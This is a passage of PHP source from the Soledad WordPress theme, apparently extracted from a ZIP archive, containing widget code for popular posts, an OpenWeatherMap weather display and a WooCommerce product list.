						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Most Viewed Posts Monthly', 'soledad' ); ?></option>
					<option value='metakey' <?php if ( 'metakey' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Custom Meta Key', 'soledad' ); ?></option>
					<?php if ( ! empty( penci_jetpack_option() ) ): ?>
                        <option value='jetpack' <?php if ( 'jetpack' == $instance['orderby'] ) {
							echo 'selected="selected"';
						} ?>>Jetpack Post Views
                        </option>
					<?php endif; ?>
                </select>
            </p>

			<!-- Custom Meta Key -->
			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"><?php esc_html_e( 'Custom Meta Key:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'metakey' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'metakey' ) ); ?>"
                       value="<?php echo esc_attr( $instance['metakey'] ); ?>"/>
            </p>

            <!-- Order -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Select Order Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='DESC' <?php if ( 'DESC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'DESC ( Descending Order )', 'soledad' ); ?></option>
                    <option value='ASC' <?php if ( 'ASC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'ASC ( Ascending Order )', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Offset of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"><?php esc_html_e( 'Number of offset Posts:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'offset' ) ); ?>"
                       value="<?php echo esc_attr( $instance['offset'] ); ?>" size="3"/>
            </p>

            <!-- Custom trim post titles -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"><?php esc_html_e( 'Custom words length for post titles:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_length' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_length'] ); ?>" size="3"/>
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If your post titles is too long - You can use this option for trim it. Fill number value here.</span>
            </p>

            <!-- Ajax Post Navigation -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"><?php esc_html_e( 'Ajax Posts Navigation?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ajaxnav' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='nav' <?php if ( 'nav' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Next/Previous Button', 'soledad' ); ?></option>
                    <option value='btn' <?php if ( 'btn' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Load More Button', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Post Meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"><?php esc_html_e( 'Show Author Name?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_author' ) ); ?>" <?php checked( (bool) $instance['show_author'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"><?php esc_html_e( 'Hide post date?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'postdate' ) ); ?>" <?php checked( (bool) $instance['postdate'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"><?php esc_html_e( 'Show Comment Count?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_comment' ) ); ?>" <?php checked( (bool) $instance['show_comment'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"><?php esc_html_e( 'Show Post Views?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_postviews' ) ); ?>" <?php checked( (bool) $instance['show_postviews'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"><?php esc_html_e( 'Remove Border at The Bottom?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'showborder' ) ); ?>" <?php checked( (bool) $instance['showborder'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"><?php esc_html_e( 'Rows Gap Between Post Items ( Default: 20 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'row_gap' ) ); ?>"
                       value="<?php echo esc_attr( $instance['row_gap'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"><?php esc_html_e( 'Post Title Font Size on Featured Posts ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfsfe' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfsfe'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"><?php esc_html_e( 'Post Title Font Size ( Default: 14 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfs'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"><?php esc_html_e( 'Post Meta Font Size ( Default: 11 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'pmfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['pmfs'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'nbfs_big' ) ); ?>"><?php esc_html_e( 'Order Number Font Size for Featured Post ( Default: 36 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'nbfs_big' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'nbfs_big' ) ); ?>"
                       value="<?php echo esc_attr( $instance['nbfs_big'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'nbfs' ) ); ?>"><?php esc_html_e( 'Order Number Font Size ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'nbfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'nbfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['nbfs'] ); ?>" size="3"/>
            </p>

			<?php
		}
	}
}
?>
PK     2w\#!+-  -    widgets/weather.phpnu [        <?php
/**
 * Weather Widget
 *
 * @package Soledad
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_weather_widget' );

function penci_weather_widget() {
	register_widget( 'penci_weather_widget_class' );
}

if ( ! class_exists( 'penci_weather_widget_class' ) ) {
	class penci_weather_widget_class extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_weather_widget_class',
				'description' => esc_html__( 'A widget that displays your recent posts from all categories or a category', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_weather_widget_class' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_weather_widget_class', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Weather', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_weather_widget_class', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Weather', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title      = isset( $instance['title'] ) ? $instance['title'] : '';
			$penci_location = isset( $instance['penci_location'] ) ? $instance['penci_location'] : '';
			$penci_location_show    = isset( $instance['penci_location_show'] ) ? $instance['penci_location_show'] : '';
			$penci_user_loc      = isset( $instance['penci_user_loc'] ) ? $instance['penci_user_loc'] : '';
			$penci_save_user_loc      = isset( $instance['penci_save_user_loc'] ) ? $instance['penci_save_user_loc'] : '';
			$units     = isset( $instance['units'] ) ? $instance['units'] : '';
			$penci_forcast      = isset( $instance['penci_forcast'] ) ? $instance['penci_forcast'] : '';

			

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}


			$weather_data = \Penci_Weather::show_forecats( array(
				'location'      => $penci_location,
				'location_show' => $penci_location_show,
				'forecast_days' => $penci_forcast,
				'units'         => $units,
				'user_loc'		=> $penci_user_loc == 'enable',
				'cookie'		=> $penci_save_user_loc == 'enable',
			) );

			if( $weather_data ) {
				wp_enqueue_style( 'penci-font-iweather' );
				echo $weather_data;
			}else {
				echo '<div class="penci-block-error">';
				echo '<span>Weather widget</span>';
				echo ' You need to fill API key to Customize > General > Extra Options > Weather API Key to get this widget work.';
				echo '</div>';
			}
				

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			if ( ! empty( $new_instance['cats_id'] ) ) {
				if ( is_array( $new_instance['cats_id'] ) ) {
					$instance['cats_id'] = implode( ',', $new_instance['cats_id'] );
				} else {
					$instance['cats_id'] = esc_sql( $new_instance['cats_id'] );
				}
			} else {
				$instance['cats_id'] = false;
			}

			if ( ! empty( $new_instance['tags_id'] ) ) {
				if ( is_array( $new_instance['tags_id'] ) ) {
					$instance['tags_id'] = implode( ',', $new_instance['tags_id'] );
				} else {
					$instance['tags_id'] = esc_sql( $new_instance['tags_id'] );
				}
			} else {
				$instance['tags_id'] = false;
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'          => esc_html__( 'Weather', 'soledad' ),
				'penci_location'     => '',
				'penci_location_show'     => '',
				'penci_user_loc'     => '',
				'penci_save_user_loc'     => '',
				'units'     => '',
				'penci_forcast'     => '',
			);

			return $defaults;
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();

			$cats_id = array();
			$tags_id = array();

			if ( isset( $instance['cats_id'] ) && ! empty( $instance['cats_id'] ) ) {
				$cats_id = explode( ',', $instance['cats_id'] );
			}
			if ( isset( $instance['tags_id'] ) && ! empty( $instance['tags_id'] ) ) {
				$tags_id = explode( ',', $instance['tags_id'] );
			}

			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$instance_penci_location = $instance['penci_location'] ? str_replace( '"', '&quot;', $instance['penci_location'] ) : '';
			$instance_penci_location_show = $instance['penci_location_show'] ? str_replace( '"', '&quot;', $instance['penci_location_show'] ) : '';
			?>
            <style>span.description {
                    font-style: italic;
                    font-size: 13px;
                }</style>
            
            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Location -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'penci_location' ) ); ?>"><?php esc_html_e( 'Search your for location:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'penci_location' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'penci_location' ) ); ?>"
                       value="<?php echo $instance_penci_location; ?>"/>
                <span class="description"><a href="<?php echo esc_url( 'http://openweathermap.org/find' );?>"><?php echo sprintf( '%s - You can use "city name" (ex: New York) or "city name,country code" (ex: New York, US)',
					'<a href="' . esc_url( 'http://openweathermap.org/find' ) . '">' . esc_html__( 'Find your location', 'soledad' ) . '</a>' ); ?></a></span>
                       
            </p>

            <!-- Location Show -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'penci_location_show' ) ); ?>"><?php esc_html_e( 'Custom Location Name Display:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'penci_location_show' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'penci_location_show' ) ); ?>"
                       value="<?php echo $instance_penci_location_show; ?>"/><span class="description"><?php echo esc_html__( 'If the option is empty,will display results from ', 'soledad' ) . '<a href="' . esc_url( 'http://openweathermap.org/find' ) . '">openweathermap.org</a>';?></span>
            </p>

            <!-- User Locations -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'penci_user_loc' ) ); ?>"><?php esc_html_e( 'Enable User Location:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'penci_user_loc' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'penci_user_loc' ) ); ?>" class="widefat penci_user_loc"
                        style="width:100%;">
                    <option value='disable' <?php if ( 'disable' == $instance['penci_user_loc'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( 'Disable', 'soledad' ); ?></option>
                    <option value='enable' <?php if ( 'enable' == $instance['penci_user_loc'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( 'Enable', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Save User Locations -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'penci_save_user_loc' ) ); ?>"><?php esc_html_e( 'Use Cookies to Save Weather Data When Users Access it Based on Their Location?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'penci_save_user_loc' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'penci_save_user_loc' ) ); ?>" class="widefat penci_save_user_loc"
                        style="width:100%;">
                    <option value='disable' <?php if ( 'disable' == $instance['penci_save_user_loc'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( 'Disable', 'soledad' ); ?></option>
                    <option value='enable' <?php if ( 'enable' == $instance['penci_save_user_loc'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( 'Enable', 'soledad' ); ?></option>
                </select>
                <span class="description"><?php echo esc_html__( 'This option only applies when you enable the user\'s location above.', 'soledad' );?></span>
            </p>

            <!-- Units -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'units' ) ); ?>"><?php esc_html_e( 'Units:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'units' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'units' ) ); ?>" class="widefat units"
                        style="width:100%;">
                    <option value='imperial' <?php if ( 'imperial' == $instance['units'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'F', 'soledad' ); ?></option>
                    <option value='metric' <?php if ( 'metric' == $instance['units'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'C', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Units -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'penci_forcast' ) ); ?>"><?php esc_html_e( 'Forcast:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'penci_forcast' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'penci_forcast' ) ); ?>" class="widefat penci_forcast"
                        style="width:100%;">
                    <option value='1' <?php if ( '1' == $instance['penci_forcast'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( '1 Day', 'soledad' ); ?></option>
                    <option value='2' <?php if ( '2' == $instance['penci_forcast'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( '2 Days', 'soledad' ); ?></option>
                    <option value='3' <?php if ( '3' == $instance['penci_forcast'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( '3 Days', 'soledad' ); ?></option>
                    <option value='4' <?php if ( '4' == $instance['penci_forcast'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( '4 Days', 'soledad' ); ?></option>
                    <option value='5' <?php if ( '5' == $instance['penci_forcast'] ) { echo 'selected="selected"';} ?>><?php esc_html_e( '5 Days', 'soledad' ); ?></option>
                </select>
            </p>

			<?php
		}
	}
}
?>
PK     2w\PPE  E    widgets/product_lists.phpnu [        <?php
defined( 'ABSPATH' ) || exit;

/**
 * Widget products.
 */
if ( ! class_exists( 'Penci_Product_Lists' ) ) {
	class Penci_Product_Lists extends WP_Widget {
		private $widget_id;

		/**
		 * Constructor.
		 */
		public function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'woocommerce widget_products penci-product-list',
				'description' => esc_html__( 'A widget that displays your recent products from all categories or a category', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops     = array( 'id_base' => 'penci_products_list' );
			$this->widget_id = 'penci_products_list';

			/* Create the widget. */

			parent::__construct( 'penci_products_list', penci_get_theme_name('.Soledad',true).esc_html__( 'Products List', 'soledad' ), $widget_ops, $control_ops );

		}

		/**
		 * Output widget.
		 *
		 * @param array $args Arguments.
		 * @param array $instance Widget instance.
		 *
		 * @see WP_Widget
		 */
		public function widget( $args, $instance ) {
			ob_start();

			wc_set_loop_prop( 'name', 'widget' );

			$products = $this->get_products( $args, $instance );
			if ( $products && $products->have_posts() ) {
				$this->widget_start( $args, $instance );

				echo wp_kses_post( apply_filters( 'woocommerce_before_widget_product_list', '<ul class="product_list_widget">' ) );

				$template_args = array(
					'widget_id'   => isset( $args['widget_id'] ) && $args['widget_id'] ? $args['widget_id'] : $this->widget_id,
					'show_rating' => true,
				);

				while ( $products->have_posts() ) {
					$products->the_post();
					wc_get_template( 'content-widget-product.php', $template_args );
				}

				echo wp_kses_post( apply_filters( 'woocommerce_after_widget_product_list', '</ul>' ) );

				$this->widget_end( $args );
			}

			wp_reset_postdata();

			echo $this->cache_widget( $args, ob_get_clean() ); // WPCS: XSS ok.
		}

		/**
		 * Cache the widget.
		 *
		 * @param array $args Arguments.
		 * @param string $content Content.
		 *
		 * @return string the content that was cached
		 */
		public function cache_widget( $args, $content ) {
			// Don't set any cache if widget_id doesn't exist.
			if ( empty( $args['widget_id'] ) ) {
				return $content;
			}

			$cache = wp_cache_get( $this->get_widget_id_for_cache( $this->widget_id ), 'widget' );

			if ( ! is_array( $cache ) ) {
				$cache = array();
			}

			$cache[ $this->get_widget_id_for_cache( $args['widget_id'] ) ] = $content;

			wp_cache_set( $this->get_widget_id_for_cache( $this->widget_id ), $cache, 'widget' );

			return $content;
		}

		protected function get_widget_id_for_cache( $widget_id, $scheme = '' ) {
			if ( $scheme ) {
				$widget_id_for_cache = $widget_id . '-' . $scheme;
			} else {
				$widget_id_for_cache = $widget_id . '-' . ( is_ssl() ? 'https' : 'http' );
			}

			return apply_filters( 'woocommerce_cached_widget_id', $widget_id_for_cache );
		}

		/**
		 * Flush the cache.
		 */
		public function flush_widget_cache() {
			foreach ( array( 'https', 'http' ) as $scheme ) {
				wp_cache_delete( $this->get_widget_id_for_cache( $this->widget_id, $scheme ), 'widget' );
			}
		}

		public function widget_start( $args, $instance ) {
			echo $args['before_widget']; // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped

			$title = apply_filters( 'widget_title', $this->get_instance_title( $instance ), $instance, $this->id_base );

			if ( $title ) {
				echo $args['before_title'] . $title . $args['after_title']; // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped
			}
		}

		protected function get_instance_title( $instance ) {
			if ( isset( $instance['title'] ) ) {
				return $instance['title'];
			}

			if ( isset( $this->settings, $this->settings['title'], $this->settings['title']['std'] ) ) {
				return $this->settings['title']['std'];
			}

			return '';
		}

		public function widget_end( $args ) {
			echo $args['after_widget']; // phpcs:ignore WordPress.XSS.EscapeOutput.OutputNotEscaped
		}

		/**
		 * Query the products and return them.
		 *
		 * @param array $args Arguments.
		 * @param array $instance Widget instance.
		 *
		 * @return WP_Query
		 */
		public function get_products( $args, $instance ) {
			$number                      = ! empty( $instance['number'] ) ? absint( $instance['number'] ) : 5;
			$show                        = ! empty( $instance['show'] ) ? sanitize_title( $instance['show'] ) : '';
			$orderby                     = ! empty( $instance['orderby'] ) ? sanitize_title( $instance['orderby'] ) : 'date';
			$order                       = ! empty( $instance['order'] ) ? sanitize_title( $instance['order'] ) : 'desc';
			$product_visibility_term_ids = wc_get_product_visibility_term_ids();

			$query_args = array(
				'posts_per_page' => $number,
				'post_status'    => 'publish',
				'post_type'      => 'product',
				'no_found_rows'  => 1,
				'order'          => $order,
				'meta_query'     => array(),
				'tax_query'      => array(
					'relation' => 'AND',
				),
			); // WPCS: slow query ok.

			if ( empty( $instance['show_hidden'] ) ) {
				$query_args['tax_query'][] = array(
					'taxonomy' => 'product_visibility',
					'field'    => 'term_taxonomy_id',
					'terms'    => is_search() ? $product_visibility_term_ids['exclude-from-search'] : $product_visibility_term_ids['exclude-from-catalog'],
					'operator' => 'NOT IN',
				);
				$query_args['post_parent'] = 0;
			}

			if ( ! empty( $instance['cats_id'] ) ) {
				$query_args['tax_query'][] = array(
					'taxonomy' => 'product_cat',
					'terms'    => explode( ',', $instance['cats_id'] ),
				);
			}

			if ( ! empty( $instance['tags_id'] ) ) {
				$query_args['tax_query'][] = array(
					'taxonomy' => 'product_tag',
					'terms'    => explode( ',', $instance['tags_id'] ),
				);
			}

			if ( ! empty( $instance['hide_free'] ) ) {
				$query_args['meta_query'][] = array(
					'key'     => '_price',
					'value'   => 0,
					'compare' => '>',
					'type'    => 'DECIMAL',
				);
			}

			if ( 'yes' === get_option( 'woocommerce_hide_out_of_stock_items' ) ) {
				$query_args['tax_query'][] = array(
					array(
						'taxonomy' => 'product_visibility',
						'field'    => 'term_taxonomy_id',
						'terms'    => $product_visibility_term_ids['outofstock'],
						'operator' => 'NOT IN',
					),
				); // WPCS: slow query ok.
			}

			switch ( $show ) {
				case 'featured':
					$query_args['tax_query'][] = array(
						'taxonomy' => 'product_visibility',
						'field'    => 'term_taxonomy_id',
						'terms'    => $product_visibility_term_ids['featured'],
					);
					break;
				case 'onsale':
					$product_ids_on_sale    = penci_get_product_ids_on_sale();
					$product_ids_on_sale[]  = 0;
					$query_args['post__in'] = $product_ids_on_sale;
					break;
			}

			switch ( $orderby ) {
				case 'price':
					$query_args['meta_key'] = '_price'; // WPCS: slow query ok.
					$query_args['orderby']  = 'meta_value_num';
					break;
				case 'rand':
					$query_args['orderby'] = 'rand';
					break;
				case 'sales':
					$query_args['meta_key'] = 'total_sales'; // WPCS: slow query ok.
					$query_args['orderby']  = 'meta_value_num';
					break;
				default:
					$query_args['orderby'] = 'date';
			}

			return new WP_Query( apply_filters( 'woocommerce_products_widget_query_args', $query_args ) );
		}

		function soledad_widget_defaults() {
			return [
				'title'       => 'Penci Products List',
				'cats_id'     => '',
				'tags_id'     => '',
				'orderby'     => 'date',
				'order'       => 'desc',
				'show'        => '',
				'hide_free'   => '',
				'show_hidden' => '',
				'number'      => 5,
				'offset'      => '',
			];
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();

			$cats_id = array();
			$tags_id = array();

			if ( isset( $instance['cats_id'] ) && ! empty( $instance['cats_id'] ) ) {
				$cats_id = explode( ',', $instance['cats_id'] );
			}
			if ( isset( $instance['tags_id'] ) && ! empty( $instance['tags_id'] ) ) {
				$tags_id = explode( ',', $instance['tags_id'] );
			}

			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <style>span.description {
					font-style: italic;
					font-size: 13px;
				}</style>
            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Category -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>"><?php esc_html_e( 'Include Categories:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'cats_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='' <?php if ( in_array( 'all', $cats_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All categories', 'soledad' ); ?></option>
					<?php $categories = get_terms( array(
						'taxonomy'   => 'product_cat',
						'hide_empty' => false,
					) ); ?>
					<?php foreach ( $categories as $category ) { ?>
                        <option value='<?php echo esc_attr( $category->term_id ); ?>' <?php if ( in_array( $category->term_id, $cats_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $category->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple categories.', 'soledad' ); ?></span>
            </p>

            <!-- Tags -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>"><?php esc_html_e( 'Include Tags:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'tags_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='' <?php if ( in_array( 'all', $tags_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All tags', 'soledad' ); ?></option>
					<?php $tags = get_terms( array(
						'taxonomy'   => 'product_tag',
						'hide_empty' => false,
					) ); ?>
					<?php foreach ( $tags as $tag ) { ?>
                        <option value='<?php echo esc_attr( $tag->term_id ); ?>' <?php if ( in_array( $tag->term_id, $tags_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $tag->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple tags.', 'soledad' ); ?></span>
            </p>

            <!-- Show -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show' ) ); ?>"><?php esc_html_e( 'Show:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'show' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'show' ) ); ?>" class="widefat show"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['show'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All products', 'soledad' ); ?></option>
                    <option value='featured' <?php if ( 'featured' == $instance['show'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Featured products', 'soledad' ); ?></option>
                    <option value='onsale' <?php if ( 'onsale' == $instance['show'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'On-sale products', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Order by -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order By:', 'soledad' ); ?></label>
